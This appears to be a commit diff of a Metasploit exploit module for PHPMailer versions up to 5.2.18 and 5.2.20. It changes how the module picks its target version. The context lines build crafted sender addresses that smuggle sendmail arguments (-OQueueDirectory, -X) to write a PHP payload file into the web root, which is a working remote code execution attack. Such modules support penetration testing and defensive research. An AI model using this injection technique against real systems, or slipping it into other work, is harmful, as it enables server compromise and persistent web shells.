@@ -39,13 +39,15 @@ def initialize(info = {})
39
39
'Platform' => 'php' ,
40
40
'Arch' => ARCH_PHP ,
41
41
'Payload' => { 'DisableNops' => true } ,
42
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
42
+ 'Targets' => [
43
+ [ 'PHPMailer <=5.2.18' , { } ] ,
44
+ [ 'PHPMailer 5.2.20' , { } ]
45
+ ] ,
43
46
'DefaultTarget' => 0
44
47
) )
45
48
46
49
register_options (
47
50
[
48
- OptEnum . new ( 'VERSION' , [ true , 'The version of PHPMailer' , '<=5.2.18' , [ '<=5.2.18' , '5.2.20' ] ] ) ,
49
51
OptString . new ( 'TARGETURI' , [ true , 'Path to the application root' , '/' ] ) ,
50
52
OptString . new ( 'WEB_ROOT' , [ true , 'Path to the web root' , '/var/www' ] )
51
53
] , self . class )
@@ -92,9 +94,9 @@ def exploit
92
94
payload_file_name = "#{ rand_text_alphanumeric ( 8 ) } .php"
93
95
payload_file_path = "#{ datastore [ 'WEB_ROOT' ] } /#{ payload_file_name } "
94
96
95
- if datastore [ 'VERSION' ] == '<=5.2.18'
97
+ if target . name == 'PHPMailer <=5.2.18'
96
98
email = "\" #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \\ \" -OQueueDirectory=/tmp -X#{ payload_file_path } #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \" @#{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } .com"
97
- elsif datastore [ 'VERSION' ] == '5.2.20'
99
+ elsif target . name == 'PHPMailer 5.2.20'
98
100
email = "\\ \" #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \\ ' -OQueueDirectory=/tmp -X#{ payload_file_path } #{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } \\ \" @#{ rand_text_alphanumeric ( 4 + rand ( 8 ) ) } .com"
99
101
else
100
102
fail_with ( Failure ::NoTarget , 'The specified version is not supported' )
0 commit comments